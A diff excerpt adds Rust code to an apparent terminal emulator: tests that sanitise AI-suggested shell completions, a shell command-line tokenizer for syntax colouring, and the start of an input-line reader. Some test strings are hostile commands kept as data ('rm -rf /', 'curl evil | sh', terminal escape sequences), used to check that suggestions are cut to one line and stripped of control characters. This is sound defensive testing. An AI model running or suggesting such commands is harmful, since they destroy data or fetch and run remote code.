"tatus --sh",
|
||||
"never the hidden tail"
|
||||
);
|
||||
assert_eq!(drawn_part("status", "\u{2026}"), "");
|
||||
}
|
||||
|
||||
fn one(_: char) -> usize {
|
||||
1
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_rest_of_a_line() {
|
||||
assert_eq!(clean_rest("atus"), Some("atus".to_string()));
|
||||
assert_eq!(
|
||||
clean_rest(" --all\nrm -rf /"),
|
||||
Some(" --all".to_string()),
|
||||
"one line"
|
||||
);
|
||||
assert_eq!(
|
||||
clean_rest("a\u{1b}[31mb\u{7}\u{9b}c"),
|
||||
Some("a[31mbc".to_string()),
|
||||
"nothing that could act on a terminal"
|
||||
);
|
||||
assert_eq!(clean_rest(""), None);
|
||||
assert_eq!(clean_rest(" "), None);
|
||||
assert_eq!(
|
||||
clean_rest("\nrm -rf /"),
|
||||
None,
|
||||
"what follows a line break is never offered"
|
||||
);
|
||||
let long: String = std::iter::repeat('x').take(MAX_CHARS + 100).collect();
|
||||
assert_eq!(clean_rest(&long).unwrap().chars().count(), MAX_CHARS);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn what_a_model_answered() {
|
||||
assert_eq!(
|
||||
clean_completion("ckout main", "git che"),
|
||||
Some("ckout main".to_string())
|
||||
);
|
||||
assert_eq!(
|
||||
clean_completion("git checkout main", "git che"),
|
||||
Some("ckout main".to_string()),
|
||||
"the line repeated: only what follows"
|
||||
);
|
||||
assert_eq!(clean_completion("git che", "git che"), None, "nothing new");
|
||||
assert_eq!(clean_completion("", "git che"), None);
|
||||
assert_eq!(
|
||||
clean_completion("ckout\n; curl evil | sh", "git che"),
|
||||
Some("ckout".to_string())
|
||||
);
|
||||
assert_eq!(
|
||||
clean_completion("\u{1b}]0;x\u{7}", "ls"),
|
||||
Some("]0;x".to_string())
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn one_word_at_a_time() {
|
||||
assert_eq!(first_word("atus --short"), "atus");
|
||||
assert_eq!(first_word(" --short -b"), " --short");
|
||||
assert_eq!(first_word(" x"), " x");
|
||||
assert_eq!(first_word("word"), "word");
|
||||
assert_eq!(first_word(""), "");
|
||||
assert_eq!(first_word(" "), " ");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn fitting_the_row() {
|
||||
assert_eq!(fit("status", 10, &one), "status");
|
||||
assert_eq!(fit("status", 6, &one), "status");
|
||||
assert_eq!(fit("status", 4, &one), "sta\u{2026}");
|
||||
assert_eq!(fit("status", 1, &one), "\u{2026}");
|
||||
assert_eq!(fit("status", 0, &one), "");
|
||||
let wide = |c: char| if c == '\u{4e2d}' { 2 } else { 1 };
|
||||
assert_eq!(
|
||||
fit("\u{4e2d}\u{4e2d}\u{4e2d}", 4, &wide),
|
||||
"\u{4e2d}\u{2026}"
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,827 @@
|
||||
//! The parts of a shell command line, for its colours.
|
||||
//!
|
||||
//! This is not a shell's parser. It reads one line the way a person reads it:
|
||||
//! the command, its options, strings, variables, the signs between commands,
|
||||
//! a comment. It is the same for bash, zsh and their relatives, and a line it
|
||||
//! does not understand is simply left less coloured. Nothing is expanded and
|
||||
//! nothing is run.
|
||||
//!
|
||||
//! All positions are bytes of the line. Every sign this looks for is ASCII, so
|
||||
//! a position is never inside a character.
|
||||
|
||||
/// What a part of the line is.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum Kind {
|
||||
/// The plain text of a word that stands where a command stands.
|
||||
Command,
|
||||
/// The plain text of any other word.
|
||||
Word,
|
||||
/// A word that begins with `-`.
|
||||
Option,
|
||||
/// A quoted string.
|
||||
String,
|
||||
/// `$name`, `${…}`, and the name of an assignment.
|
||||
Variable,
|
||||
/// A sign between commands, or a redirection.
|
||||
Operator,
|
||||
/// `#` to the end of the line.
|
||||
Comment,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub struct Token {
|
||||
pub start: usize,
|
||||
pub end: usize,
|
||||
pub kind: Kind,
|
||||
}
|
||||
|
||||
/// What a whole word is to the command line.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum Role {
|
||||
Command,
|
||||
Argument,
|
||||
Option,
|
||||
/// `NAME=value` before a command.
|
||||
Assignment,
|
||||
/// The file of a redirection.
|
||||
Target,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct Word {
|
||||
pub start: usize,
|
||||
pub end: usize,
|
||||
pub role: Role,
|
||||
/// What the word says with its quotes taken off, for a command, an
|
||||
/// argument or a target; `None` when that cannot be known without the
|
||||
/// shell (a variable, a pattern).
|
||||
pub value: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Default, PartialEq, Eq)]
|
||||
pub struct Parsed {
|
||||
/// The coloured parts, in order, never overlapping.
|
||||
pub tokens: Vec<Token>,
|
||||
pub words: Vec<Word>,
|
||||
}
|
||||
|
||||
/// Words after which another command stands.
|
||||
const BEFORE_A_COMMAND: &[&str] = &[
|
||||
"!", "builtin", "command", "do", "doas", "elif", "else", "exec", "if", "nohup", "sudo", "then",
|
||||
"time", "until", "while",
|
||||
];
|
||||
|
||||
/// What every shell of the family knows without looking in `PATH`: its own
|
||||
/// words and its built-in commands.
|
||||
const BUILTINS: &[&str] = &[
|
||||
"!", ".", ":", "[", "[[", "alias", "bg", "bind", "break", "builtin", "case", "cd", "command",
|
||||
"continue", "declare", "dirs", "disown", "do", "done", "echo", "elif", "else", "esac", "eval",
|
||||
"exec", "exit", "export", "false", "fc", "fg", "fi", "for", "function", "getopts", "hash",
|
||||
"help", "history", "if", "in", "jobs", "kill", "let", "local", "logout", "popd", "printf",
|
||||
"pushd", "pwd", "read", "readonly", "return", "select", "set", "shift", "shopt", "source",
|
||||
"suspend", "test", "then", "time", "times", "trap", "true", "type", "typeset", "ulimit",
|
||||
"umask", "unalias", "unset", "until", "wait", "while",
|
||||
];
|
||||
|
||||
pub fn is_builtin(name: &str) -> bool {
|
||||
BUILTINS.contains(&name)
|
||||
}
|
||||
|
||||
fn is_name_start(c: u8) -> bool {
|
||||
c.is_ascii_alphabetic() || c == b'_'
|
||||
}
|
||||
|
||||
fn is_name_char(c: u8) -> bool {
|
||||
c.is_ascii_alphanumeric() || c == b'_'
|
||||
}
|
||||
|
||||
/// From an opening `'` at `j` to after its closing one (or the end).
|
||||
fn skip_single(b: &[u8], j: usize) -> usize {
|
||||
let mut k = j + 1;
|
||||
while k < b.len() {
|
||||
if b[k] == b'\'' {
|
||||
return k + 1;
|
||||
}
|
||||
k += 1;
|
||||
}
|
||||
b.len()
|
||||
}
|
||||
|
||||
/// From an opening quote at `j` to after its closing one (or the end), where a
|
||||
/// backslash takes the character after it: `"…"` and `$'…'`.
|
||||
fn skip_escaped(b: &[u8], j: usize, quote: u8) -> usize {
|
||||
let mut k = j + 1;
|
||||
while k < b.len() {
|
||||
if b[k] == b'\\' {
|
||||
k += 2;
|
||||
continue;
|
||||
}
|
||||
if b[k] == quote {
|
||||
return k + 1;
|
||||
}
|
||||
k += 1;
|
||||
}
|
||||
b.len()
|
||||
}
|
||||
|
||||
/// The length of the variable that starts with the `$` at `k`; 1 when the `$`
|
||||
/// is only a `$`.
|
||||
fn variable_len(b: &[u8], k: usize) -> usize {
|
||||
let n = b.len();
|
||||
if k + 1 >= n {
|
||||
return 1;
|
||||
}
|
||||
let c = b[k + 1];
|
||||
if c == b'{' {
|
||||
let mut m = k + 2;
|
||||
while m < n {
|
||||
if b[m] == b'}' {
|
||||
return m + 1 - k;
|
||||
}
|
||||
m += 1;
|
||||
}
|
||||
return n - k;
|
||||
}
|
||||
if is_name_start(c) {
|
||||
let mut m = k + 2;
|
||||
while m < n && is_name_char(b[m]) {
|
||||
m += 1;
|
||||
}
|
||||
return m - k;
|
||||
}
|
||||
if c.is_ascii_digit() || b"?!#$*@-".contains(&c) {
|
||||
return 2;
|
||||
}
|
||||
1
|
||||
}
|
||||
|
||||
/// The length of the sign that starts at `i`, when one does.
|
||||
fn operator_len(b: &[u8], i: usize) -> Option<usize> {
|
||||
let n = b.len();
|
||||
let at = |k: usize| -> u8 {
|
||||
if k < n {
|
||||
b[k]
|
||||
} else {
|
||||
0
|
||||
}
|
||||
};
|
||||
let c = b[i];
|
||||
match c {
|
||||
b';' => Some(if at(i + 1) == b';' { 2 } else { 1 }),
|
||||
b'|' => Some(if at(i + 1) == b'|' || at(i + 1) == b'&' {
|
||||
2
|
||||
} else {
|
||||
1
|
||||
}),
|
||||
b'&' => {
|
||||
if at(i + 1) == b'&' {
|
||||
Some(2)
|
||||
} else if at(i + 1) == b'>' {
|
||||
Some(if at(i + 2) == b'>' { 3 } else { 2 })
|
||||
} else {
|
||||
Some(1)
|
||||
}
|
||||
}
|
||||
b'(' | b')' | b'`' => Some(1),
|
||||
b'$' if at(i + 1) == b'(' => Some(2),
|
||||
b'<' | b'>' => Some(redirect_len(b, i)),
|
||||
_ if c.is_ascii_digit() => {
|
||||
// a file descriptor before a redirection: 2> 2>&1
|
||||
let mut k = i;
|
||||
while k < n && b[k].is_ascii_digit() {
|
||||
k += 1;
|
||||
}
|
||||
if at(k) == b'<' || at(k) == b'>' {
|
||||
Some(k - i + redirect_len(b, k))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// The length of the redirection whose `<` or `>` is at `i`.
|
||||
fn redirect_len(b: &[u8], i: usize) -> usize {
|
||||
let n = b.len();
|
||||
let mut k = i + 1;
|
||||
if k < n && b[k] == b[i] {
|
||||
// << >>
|
||||
k += 1;
|
||||
if k < n && b[i] == b'<' && b[k] == b'<' {
|
||||
// <<<
|
||||
k += 1;
|
||||
}
|
||||
return k - i;
|
||||
}
|
||||
if k < n && b[k] == b'|' && b[i] == b'>' {
|
||||
return 2;
|
||||
}
|
||||
if k < n && b[k] == b'&' {
|
||||
// >& >&2 <&-
|
||||
k += 1;
|
||||
if k < n && b[k] == b'-' {
|
||||
k += 1;
|
||||
} else {
|
||||
while k < n && b[k].is_ascii_digit() {
|
||||
k += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
k - i
|
||||
}
|
||||
|
||||
/// Does this redirection name its own target (`2>&1`, `<&-`)?
|
||||
fn redirect_is_whole(op: &str) -> bool {
|
||||
match op.find('&') {
|
||||
Some(amp) => amp + 1 < op.len() && !op.starts_with('&'),
|
||||
None => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Where the word that starts at `i` ends.
|
||||
fn word_end(b: &[u8], i: usize) -> usize {
|
||||
let n = b.len();
|
||||
let mut j = i;
|
||||
while j < n {
|
||||
match b[j] {
|
||||
b' ' | b'\t' | b';' | b'|' | b'&' | b'(' | b')' | b'<' | b'>' | b'`' => break,
|
||||
b'\\' => j += 2,
|
||||
b'\'' => j = skip_single(b, j),
|
||||
b'"' => j = skip_escaped(b, j, b'"'),
|
||||
b'$' if j + 1 < n && b[j + 1] == b'\'' => j = skip_escaped(b, j + 1, b'\''),
|
||||
b'$' if j + 1 < n && b[j + 1] == b'(' => break,
|
||||
b'$' => j += variable_len(b, j),
|
||||
_ => j += 1,
|
||||
}
|
||||
}
|
||||
j.min(n)
|
||||
}
|
||||
|
||||
/// The length of `NAME=` or `NAME+=` at the start of a word, when the word is
|
||||
/// an assignment.
|
||||
fn assignment_len(raw: &str) -> Option<usize> {
|
||||
let b = raw.as_bytes();
|
||||
if b.is_empty() || !is_name_start(b[0]) {
|
||||
return None;
|
||||
}
|
||||
let mut k = 1;
|
||||
while k < b.len() && is_name_char(b[k]) {
|
||||
k += 1;
|
||||
}
|
||||
if k < b.len() && b[k] == b'+' {
|
||||
k += 1;
|
||||
}
|
||||
if k < b.len() && b[k] == b'=' {
|
||||
Some(k + 1)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// What a word says with its quotes taken off; `None` when it holds something
|
||||
/// only the shell can resolve (a variable, a substitution, a pattern).
|
||||
pub fn plain_value(raw: &str) -> Option<String> {
|
||||
let mut out = String::new();
|
||||
let mut chars = raw.chars();
|
||||
while let Some(c) = chars.next() {
|
||||
match c {
|
||||
'$' | '`' | '*' | '?' | '[' | '{' => return None,
|
||||
'\\' => match chars.next() {
|
||||
Some(next) => out.push(next),
|
||||
None => out.push('\\'),
|
||||
},
|
||||
'\'' => {
|
||||
for q in chars.by_ref() {
|
||||
if q == '\'' {
|
||||
break;
|
||||
}
|
||||
out.push(q);
|
||||
}
|
||||
}
|
||||
'"' => {
|
||||
while let Some(q) = chars.next() {
|
||||
match q {
|
||||
'"' => break,
|
||||
'$' | '`' => return None,
|
||||
'\\' => {
|
||||
if let Some(next) = chars.next() {
|
||||
out.push(next);
|
||||
}
|
||||
}
|
||||
q => out.push(q),
|
||||
}
|
||||
}
|
||||
}
|
||||
c => out.push(c),
|
||||
}
|
||||
}
|
||||
Some(out)
|
||||
}
|
||||
|
||||
fn push(tokens: &mut Vec<Token>, start: usize, end: usize, kind: Kind) {
|
||||
if end > start {
|
||||
tokens.push(Token { start, end, kind });
|
||||
}
|
||||
}
|
||||
|
||||
/// The parts of a double-quoted string from its opening quote at `start` to
|
||||
/// `end`: the string, with the variables in it picked out.
|
||||
fn push_double(tokens: &mut Vec<Token>, b: &[u8], start: usize, end: usize) {
|
||||
let mut seg = start;
|
||||
let mut m = start + 1;
|
||||
while m < end {
|
||||
if b[m] == b'\\' {
|
||||
m += 2;
|
||||
continue;
|
||||
}
|
||||
if b[m] == b'$' {
|
||||
let len = variable_len(b, m).min(end - m);
|
||||
if len > 1 {
|
||||
push(tokens, seg, m, Kind::String);
|
||||
push(tokens, m, m + len, Kind::Variable);
|
||||
m += len;
|
||||
seg = m;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
m += 1;
|
||||
}
|
||||
push(tokens, seg, end, Kind::String);
|
||||
}
|
||||
|
||||
/// The parts of the word `[start, end)`, its plain text of kind `plain`.
|
||||
fn push_word(tokens: &mut Vec<Token>, b: &[u8], start: usize, end: usize, plain: Kind) {
|
||||
let mut seg = start;
|
||||
let mut k = start;
|
||||
while k < end {
|
||||
match b[k] {
|
||||
b'\\' => k = (k + 2).min(end),
|
||||
b'\'' => {
|
||||
let q = skip_single(b, k).min(end);
|
||||
push(tokens, seg, k, plain);
|
||||
push(tokens, k, q, Kind::String);
|
||||
k = q;
|
||||
seg = k;
|
||||
}
|
||||
b'"' => {
|
||||
let q = skip_escaped(b, k, b'"').min(end);
|
||||
push(tokens, seg, k, plain);
|
||||
push_double(tokens, b, k, q);
|
||||
k = q;
|
||||
seg = k;
|
||||
}
|
||||
b'$' if k + 1 < end && b[k + 1] == b'\'' => {
|
||||
let q = skip_escaped(b, k + 1, b'\'').min(end);
|
||||
push(tokens, seg, k, plain);
|
||||
push(tokens, k, q, Kind::String);
|
||||
k = q;
|
||||
seg = k;
|
||||
}
|
||||
b'$' => {
|
||||
let len = variable_len(b, k).min(end - k);
|
||||
if len > 1 {
|
||||
push(tokens, seg, k, plain);
|
||||
push(tokens, k, k + len, Kind::Variable);
|
||||
k += len;
|
||||
seg = k;
|
||||
} else {
|
||||
k += 1;
|
||||
}
|
||||
}
|
||||
_ => k += 1,
|
||||
}
|
||||
}
|
||||
push(tokens, seg, end, plain);
|
||||
}
|
||||
|
||||
/// Read a command line.
|
||||
pub fn parse(line: &str) -> Parsed {
|
||||
let b = line.as_bytes();
|
||||
let n = b.len();
|
||||
let mut parsed = Parsed::default();
|
||||
let mut command_next = true;
|
||||
let mut target_next = false;
|
||||
let mut i = 0;
|
||||
while i < n {
|
||||
let c = b[i];
|
||||
if c == b' ' || c == b'\t' {
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
if c == b'#' {
|
||||
push(&mut parsed.tokens, i, n, Kind::Comment);
|
||||
break;
|
||||
}
|
||||
if let Some(len) = operator_len(b, i) {
|
||||
let end = (i + len).min(n);
|
||||
push(&mut parsed.tokens, i, end, Kind::Operator);
|
||||
let op = &line[i..end];
|
||||
if op.contains('<') || op.contains('>') {
|
||||
target_next = !redirect_is_whole(op);
|
||||
} else {
|
||||
target_next = false;
|
||||
command_next = op != ")";
|
||||
}
|
||||
i = end;
|
||||
continue;
|
||||
}
|
||||
|
||||
let end = word_end(b, i).max(i + 1).min(n);
|
||||
let raw = &line[i..end];
|
||||
if raw == "{" || raw == "}" {
|
||||
push(&mut parsed.tokens, i, end, Kind::Operator);
|
||||
command_next = raw == "{";
|
||||
i = end;
|
||||
continue;
|
||||
}
|
||||
|
||||
if target_next {
|
||||
target_next = false;
|
||||
push_word(&mut parsed.tokens, b, i, end, Kind::Word);
|
||||
parsed.words.push(Word {
|
||||
start: i,
|
||||
end,
|
||||
role: Role::Target,
|
||||
value: plain_value(raw),
|
||||
});
|
||||
} else if command_next {
|
||||
if let Some(len) = assignment_len(raw) {
|
||||
push(&mut parsed.tokens, i, i + len, Kind::Variable);
|
||||
push_word(&mut parsed.tokens, b, i + len, end, Kind::Word);
|
||||
parsed.words.push(Word {
|
||||
start: i,
|
||||
end,
|
||||
role: Role::Assignment,
|
||||
value: None,
|
||||
});
|
||||
} else if raw.len() > 1 && raw.starts_with('-') {
|
||||
// an option of the word before (sudo -E make): a command still follows
|
||||
push_word(&mut parsed.tokens, b, i, end, Kind::Option);
|
||||
parsed.words.push(Word {
|
||||
start: i,
|
||||
end,
|
||||
role: Role::Option,
|
||||
value: None,
|
||||
});
|
||||
} else {
|
||||
push_word(&mut parsed.tokens, b, i, end, Kind::Command);
|
||||
let value = plain_value(raw);
|
||||
command_next = match &value {
|
||||
Some(v) => BEFORE_A_COMMAND.contains(&v.as_str()),
|
||||
None => false,
|
||||
};
|
||||
parsed.words.push(Word {
|
||||
start: i,
|
||||
end,
|
||||
role: Role::Command,
|
||||
value,
|
||||
});
|
||||
}
|
||||
} else if raw.len() > 1 && raw.starts_with('-') {
|
||||
push_word(&mut parsed.tokens, b, i, end, Kind::Option);
|
||||
parsed.words.push(Word {
|
||||
start: i,
|
||||
end,
|
||||
role: Role::Option,
|
||||
value: None,
|
||||
});
|
||||
} else {
|
||||
push_word(&mut parsed.tokens, b, i, end, Kind::Word);
|
||||
parsed.words.push(Word {
|
||||
start: i,
|
||||
end,
|
||||
role: Role::Argument,
|
||||
value: plain_value(raw),
|
||||
});
|
||||
}
|
||||
i = end;
|
||||
}
|
||||
parsed
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::Kind::*;
|
||||
use super::*;
|
||||
|
||||
/// The parts of a line as (text, kind).
|
||||
fn parts(line: &str) -> Vec<(&str, Kind)> {
|
||||
parse(line)
|
||||
.tokens
|
||||
.iter()
|
||||
.map(|t| (&line[t.start..t.end], t.kind))
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// The words of a line as (text, role).
|
||||
fn roles(line: &str) -> Vec<(&str, Role)> {
|
||||
parse(line)
|
||||
.words
|
||||
.iter()
|
||||
.map(|w| (&line[w.start..w.end], w.role))
|
||||
.collect()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_command_its_options_and_arguments() {
|
||||
assert_eq!(
|
||||
parts("git commit -m 'a message' --amend file.txt"),
|
||||
vec![
|
||||
("git", Command),
|
||||
("commit", Word),
|
||||
("-m", Option),
|
||||
("'a message'", String),
|
||||
("--amend", Option),
|
||||
("file.txt", Word),
|
||||
]
|
||||
);
|
||||
assert_eq!(parts(""), vec![]);
|
||||
assert_eq!(parts(" "), vec![]);
|
||||
assert_eq!(
|
||||
parts("ls -"),
|
||||
vec![("ls", Command), ("-", Word)],
|
||||
"a lone dash is a file"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn commands_after_the_signs_between_them() {
|
||||
assert_eq!(
|
||||
parts("make && make test || echo no; ls | wc -l &"),
|
||||
vec![
|
||||
("make", Command),
|
||||
("&&", Operator),
|
||||
("make", Command),
|
||||
("test", Word),
|
||||
("||", Operator),
|
||||
("echo", Command),
|
||||
("no", Word),
|
||||
(";", Operator),
|
||||
("ls", Command),
|
||||
("|", Operator),
|
||||
("wc", Command),
|
||||
("-l", Option),
|
||||
("&", Operator),
|
||||
]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("(cd /tmp && ls)"),
|
||||
vec![
|
||||
("(", Operator),
|
||||
("cd", Command),
|
||||
("/tmp", Word),
|
||||
("&&", Operator),
|
||||
("ls", Command),
|
||||
(")", Operator),
|
||||
]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("{ a; }"),
|
||||
vec![
|
||||
("{", Operator),
|
||||
("a", Command),
|
||||
(";", Operator),
|
||||
("}", Operator)
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn words_before_a_command() {
|
||||
assert_eq!(
|
||||
roles("sudo -E make install"),
|
||||
vec![
|
||||
("sudo", Role::Command),
|
||||
("-E", Role::Option),
|
||||
("make", Role::Command),
|
||||
("install", Role::Argument),
|
||||
]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("if true; then echo yes; fi"),
|
||||
vec![
|
||||
("if", Command),
|
||||
("true", Command),
|
||||
(";", Operator),
|
||||
("then", Command),
|
||||
("echo", Command),
|
||||
("yes", Word),
|
||||
(";", Operator),
|
||||
("fi", Command),
|
||||
]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("LANG=C LC_ALL=\"C\" sort x"),
|
||||
vec![
|
||||
("LANG=", Variable),
|
||||
("C", Word),
|
||||
("LC_ALL=", Variable),
|
||||
("\"C\"", String),
|
||||
("sort", Command),
|
||||
("x", Word),
|
||||
]
|
||||
);
|
||||
assert_eq!(roles("A=1")[0].1, Role::Assignment);
|
||||
assert_eq!(
|
||||
roles("ls A=1")[1].1,
|
||||
Role::Argument,
|
||||
"only before a command"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn strings_and_variables() {
|
||||
assert_eq!(
|
||||
parts("echo \"home is $HOME and ${USER}!\" $? $'a\\'b' pre$X.txt"),
|
||||
vec![
|
||||
("echo", Command),
|
||||
("\"home is ", String),
|
||||
("$HOME", Variable),
|
||||
(" and ", String),
|
||||
("${USER}", Variable),
|
||||
("!\"", String),
|
||||
("$?", Variable),
|
||||
("$'a\\'b'", String),
|
||||
("pre", Word),
|
||||
("$X", Variable),
|
||||
(".txt", Word),
|
||||
]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("echo 'never closed"),
|
||||
vec![("echo", Command), ("'never closed", String)],
|
||||
"a string still being typed"
|
||||
);
|
||||
assert_eq!(
|
||||
parts("echo \"a \\\" b\" c"),
|
||||
vec![("echo", Command), ("\"a \\\" b\"", String), ("c", Word)]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("echo a\\ b"),
|
||||
vec![("echo", Command), ("a\\ b", Word)]
|
||||
);
|
||||
assert_eq!(parts("echo $"), vec![("echo", Command), ("$", Word)]);
|
||||
assert_eq!(
|
||||
parts("echo ${never"),
|
||||
vec![("echo", Command), ("${never", Variable)]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn substitutions() {
|
||||
assert_eq!(
|
||||
parts("echo $(date +%s) `id -u`"),
|
||||
vec![
|
||||
("echo", Command),
|
||||
("$(", Operator),
|
||||
("date", Command),
|
||||
("+%s", Word),
|
||||
(")", Operator),
|
||||
("`", Operator),
|
||||
("id", Command),
|
||||
("-u", Option),
|
||||
("`", Operator),
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn redirections() {
|
||||
assert_eq!(
|
||||
parts("make > out.log 2>&1 < in >> more 2> err &> all"),
|
||||
vec![
|
||||
("make", Command),
|
||||
(">", Operator),
|
||||
("out.log", Word),
|
||||
("2>&1", Operator),
|
||||
("<", Operator),
|
||||
("in", Word),
|
||||
(">>", Operator),
|
||||
("more", Word),
|
||||
("2>", Operator),
|
||||
("err", Word),
|
||||
("&>", Operator),
|
||||
("all", Word),
|
||||
]
|
||||
);
|
||||
assert_eq!(
|
||||
roles("cat < in > out"),
|
||||
vec![
|
||||
("cat", Role::Command),
|
||||
("in", Role::Target),
|
||||
("out", Role::Target)
|
||||
]
|
||||
);
|
||||
assert_eq!(
|
||||
roles("> out echo hi"),
|
||||
vec![
|
||||
("out", Role::Target),
|
||||
("echo", Role::Command),
|
||||
("hi", Role::Argument)
|
||||
],
|
||||
"a redirection first: the command still follows"
|
||||
);
|
||||
assert_eq!(
|
||||
parts("cat <<< text"),
|
||||
vec![("cat", Command), ("<<<", Operator), ("text", Word)]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("echo 2 3"),
|
||||
vec![("echo", Command), ("2", Word), ("3", Word)],
|
||||
"a number is a file descriptor only before a redirection"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn comments() {
|
||||
assert_eq!(
|
||||
parts("ls # all of it; rm -rf"),
|
||||
vec![("ls", Command), ("# all of it; rm -rf", Comment)]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("# only a comment"),
|
||||
vec![("# only a comment", Comment)]
|
||||
);
|
||||
assert_eq!(
|
||||
parts("echo a#b"),
|
||||
vec![("echo", Command), ("a#b", Word)],
|
||||
"inside a word it is no comment"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn values() {
|
||||
assert_eq!(plain_value("git"), Some("git".to_string()));
|
||||
assert_eq!(
|
||||
plain_value("'my file'.txt"),
|
||||
Some("my file.txt".to_string())
|
||||
);
|
||||
assert_eq!(plain_value("\"a b\"/c\\ d"), Some("a b/c d".to_string()));
|
||||
assert_eq!(plain_value("$HOME/bin"), None);
|
||||
assert_eq!(plain_value("\"$HOME\""), None);
|
||||
assert_eq!(plain_value("*.txt"), None);
|
||||
assert_eq!(plain_value("file{1,2}"), None);
|
||||
let p = parse("'/usr/bin/my prog' x");
|
||||
assert_eq!(p.words[0].role, Role::Command);
|
||||
assert_eq!(p.words[0].value, Some("/usr/bin/my prog".to_string()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn builtins() {
|
||||
assert!(is_builtin("cd"));
|
||||
assert!(is_builtin("[["));
|
||||
assert!(is_builtin("fi"));
|
||||
assert!(!is_builtin("git"));
|
||||
assert!(!is_builtin(""));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn text_that_is_not_ascii() {
|
||||
assert_eq!(
|
||||
parts("echo \u{17e}lu\u{165}ou\u{10d}k\u{fd} '\u{4e2d}\u{6587}' # \u{e1}no"),
|
||||
vec![
|
||||
("echo", Command),
|
||||
("\u{17e}lu\u{165}ou\u{10d}k\u{fd}", Word),
|
||||
("'\u{4e2d}\u{6587}'", String),
|
||||
("# \u{e1}no", Comment),
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn nothing_overlaps_and_nothing_is_out_of_the_line() {
|
||||
for line in [
|
||||
"a\\",
|
||||
"\"",
|
||||
"'",
|
||||
"$",
|
||||
"${",
|
||||
"$'",
|
||||
"2>",
|
||||
">&",
|
||||
"&>>",
|
||||
"a=\"",
|
||||
"x $(",
|
||||
"\\",
|
||||
"echo \"$",
|
||||
"echo \"\\",
|
||||
"<<<",
|
||||
"1",
|
||||
"12>",
|
||||
] {
|
||||
let p = parse(line);
|
||||
let mut at = 0;
|
||||
for t in &p.tokens {
|
||||
assert!(t.start >= at, "{:?} overlaps in {:?}", t, line);
|
||||
assert!(t.end > t.start, "{:?} is empty in {:?}", t, line);
|
||||
assert!(t.end <= line.len(), "{:?} is out of {:?}", t, line);
|
||||
assert!(line.is_char_boundary(t.start) && line.is_char_boundary(t.end));
|
||||
at = t.end;
|
||||
}
|
||||
for w in &p.words {
|
||||
assert!(w.start < w.end && w.end <= line.len());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,384 @@
|
||||
//! The shell's input line, read from the screen.
|
||||
//!
|
||||
//! The terminal does not follow what is typed: a shell edits its line in ways
|
||||
//! key presses do not show (history, completion, a widget). What the line
|
||||
//! holds is read back from the cells the shell drew. A shell with the shell
|
||||
//! integration marks them: cells written after the end of its prompt (OSC 133
|
||||
//! B) are *input* until the command starts.
|
||||
//!
|
||||
//! The terminal's part turns the rows near the cursor into [`Cell`]s; this
|
||||
//! module finds the input line among them.
|
||||
|
||||
/// One cell of a row as the terminal has it.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct Cell {
|
||||
/// Its first column.
|
||||
pub col: usize,
|
||||
/// The columns it takes (1, or 2 for a wide character).
|
||||
pub width: usize,
|
||||
/// What it shows.
|
||||
pub text: String,
|
||||
/// Marked as input by the shell integration.
|
||||
pub input: bool,
|
||||
}
|
||||
|
||||
/// The cells of a row that hold something, by column.
|
||||
pub type Row = Vec<Cell>;
|
||||
|
||||
/// Where a part of the input line's text is on the screen.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct Piece {
|
||||
/// Index of its row among the rows given.
|
||||
pub row: usize,
|
||||
pub col: usize,
|
||||
pub width: usize,
|
||||
/// Its bytes in [`Zone::text`].
|
||||
pub start: usize,
|
||||
pub end: usize,
|
||||
}
|
||||
|
||||
/// The input line.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct Zone {
|
||||
/// Everything on the line.
|
||||
pub text: String,
|
||||
/// The byte in `text` the cursor stands before.
|
||||
pub cursor: usize,
|
||||
/// Where each cell's text is.
|
||||
pub pieces: Vec<Piece>,
|
||||
}
|
||||
|
||||
impl Zone {
|
||||
/// What is typed up to the cursor.
|
||||
pub fn typed(&self) -> &str {
|
||||
&self.text[..self.cursor]
|
||||
}
|
||||
|
||||
